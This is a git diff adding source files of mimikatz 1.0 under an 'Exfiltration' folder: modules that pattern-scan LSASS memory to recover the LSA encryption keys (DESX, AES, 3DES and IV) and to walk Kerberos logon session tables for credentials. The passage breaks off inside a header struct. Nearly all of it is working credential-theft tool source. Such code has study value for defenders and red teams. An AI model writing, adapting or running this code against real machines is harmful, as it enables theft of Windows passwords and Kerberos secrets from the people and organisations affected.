b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp @@ -0,0 +1,76 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt5.h" +#include "..\..\global.h" +PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; + +#ifdef _M_X64 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; +LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); +#elif defined _M_IX86 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; +LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); +LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2; +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; +#endif + +bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() +{ + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) + { +#ifdef _M_X64 + PBYTE g_Feedback = reinterpret_cast((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback)); + g_pRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey)); + g_pDESXKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey)); + PDWORD g_cbRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey)); +#elif defined _M_IX86 + PBYTE g_Feedback = *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback); + g_pRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey); + g_pDESXKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey); + PDWORD g_cbRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey); +#endif + *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL; + + mesSucces = 0; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pRandomKey = new BYTE[*g_cbRandomKey]; + if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pDESXKey = new BYTE[144]; + if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + } + else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; + return (mesSucces == 6); +} + +bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() +{ + if(g_pRandomKey && *g_pRandomKey) + delete[] *g_pRandomKey; + if(g_pDESXKey && *g_pDESXKey) + delete[] *g_pDESXKey; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h new file mode 100644 index 0000000..121d9c5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt5 { + +private: + static PBYTE *g_pRandomKey, *g_pDESXKey; +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp new file mode 100644 index 0000000..ac642ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp @@ -0,0 +1,186 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt6.h" +#include "..\..\global.h" +HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; +PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; +mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; +BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; + +BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; + +#ifdef _M_X64 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; +LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; +LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; +LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; +LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; +LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; +#elif defined _M_IX86 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); +LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); +LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); +LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); +#endif + +bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() +{ + if(!hBCrypt) + hBCrypt = LoadLibrary(L"bcrypt"); + + PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; + } + else + { + OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; + } +#elif defined _M_IX86 + OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; +#endif + } + else + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; + OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; + } + + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) + { +#ifdef _M_X64 + LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; + PBYTE InitializationVector = reinterpret_cast((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector)); + hAesKey = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey)); + h3DesKey = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey)); + hAesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); + h3DesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); +#elif defined _M_IX86 + PBYTE InitializationVector = *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector); + hAesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey); + h3DesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey); + hAesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); + h3DesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); +#endif + if(hBCrypt && LsaInitializeProtectedMemory()) + { + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + + KIWI_BCRYPT_KEY maCle; + KIWI_BCRYPT_KEY_DATA maCleData; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;) + mesSucces++; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; + } + else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; + + return (mesSucces == 3); +} + + +bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() +{ + if(hBCrypt) + { + LsaCleanupProtectedMemory(); + FreeLibrary(hBCrypt); + } + return true; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() +{ + bool resultat = false; + + PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); + PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptSetProperty")); + PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGetProperty")); + PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); + + if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && + NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) + { + if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && + NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) + { + DWORD DES3KeyLen, AESKeyLen, cbLen; + + if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && + NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) + { + DES3Key = new BYTE[DES3KeyLen]; + AESKey = new BYTE[AESKeyLen]; + + resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && + NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); + } + } + } + return resultat; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() +{ + PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptDestroyKey")); + PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); + + if (h3DesKey ) + K_BCryptDestroyKey(*h3DesKey); + if (hAesKey ) + K_BCryptDestroyKey(*hAesKey); + + if (h3DesProvider) + K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); + if (hAesProvider ) + K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); + + if(DES3Key) + delete[] DES3Key; + if(AESKey) + delete[] AESKey; + + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h new file mode 100644 index 0000000..9b1940a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt6 { + +private: + static HMODULE hBCrypt; + + typedef struct _KIWI_BCRYPT_KEY_DATA { + DWORD size; + DWORD tag; + DWORD type; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + PVOID unk4; + BYTE data; /* etc... */ + } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; + + typedef struct _KIWI_BCRYPT_KEY { + DWORD size; + DWORD type; + PVOID unk0; + PKIWI_BCRYPT_KEY_DATA cle; + PVOID unk1; + } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; + + static PBYTE DES3Key, AESKey; + static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; + static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; + + static bool LsaInitializeProtectedMemory(); + static bool LsaCleanupProtectedMemory(); + +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp new file mode 100644 index 0000000..dae52d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp @@ -0,0 +1,135 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kerberos.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; +mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast(NULL); +long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getKerberosLogonData, wstring(L"kerberos"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#elif defined _M_IX86 + BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; + LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); + BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC + LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pointeur= reinterpret_cast(&KerbLogonSessionList); + pattern = PTRN_WALL_KerbFreeLogonSessionList; + taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); + offset = OFFS_WALL_KerbFreeLogonSessionList; + + if(mod_system::GLOB_Version.dwMinorVersion < 2) + offsetMagic = 8; + } + else + { + pointeur= reinterpret_cast(&KerbGlobalLogonSessionTable); + +#ifdef _M_X64 + pattern = PTRN_WALL_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + offset = OFFS_WALL_KerbUnloadLogonSessionTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); + offset = OFFS_WNO8_KerbUnloadLogonSessionTable; + } + else + { + if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC + PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; + pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); + offset = OFFS_WIN8_KerbUnloadLogonSessionTable; + } +#endif + } + + if(HMODULE monModule = LoadLibrary(L"kerberos")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); + *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); +} + +bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchKerberosFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille; + BYTE * monBuff = NULL; + + if(KerbGlobalLogonSessionTable) + { + taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); + monBuff = new BYTE[taille]; + + if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuff); + mesCreds = &pLogSession->credentials; + } + } + } + else + { + taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; + monBuff = new BYTE[taille]; + if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuff); + if(offsetMagic != 0) + pLogSession = reinterpret_cast(reinterpret_cast(pLogSession) + offsetMagic); + mesCreds = &pLogSession->credentials; + } + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (kerberos KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h new file mode 100644 index 0000000..1418d4f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_kerberos { + +private: + typedef struct _KIWI_KERBEROS_LOGON_SESSION + { + struct _KIWI_KERBEROS_LOGON_SESSION *Flink; + struct _KIWI_KERBEROS_LOGON_SESSION *Blink; + DWORD UsageCount; + PVOID unk0; + PVOID unk1; + PVOID unk2; + DWORD unk3; + DWORD unk4; + PVOID unk5; + PVOID unk6; + PVOID unk7; + LUID LocallyUniqueIdentifier; + #ifdef _M_IX86 + DWORD unk8; + #endif + DWORD unk9; + DWORD unk10; + PVOID unk11; + DWORD unk12; + DWORD unk13; + PVOID unk14; + PVOID unk15; + PVOID unk16; + KIWI_GENERIC_PRIMARY_CREDENTIAL 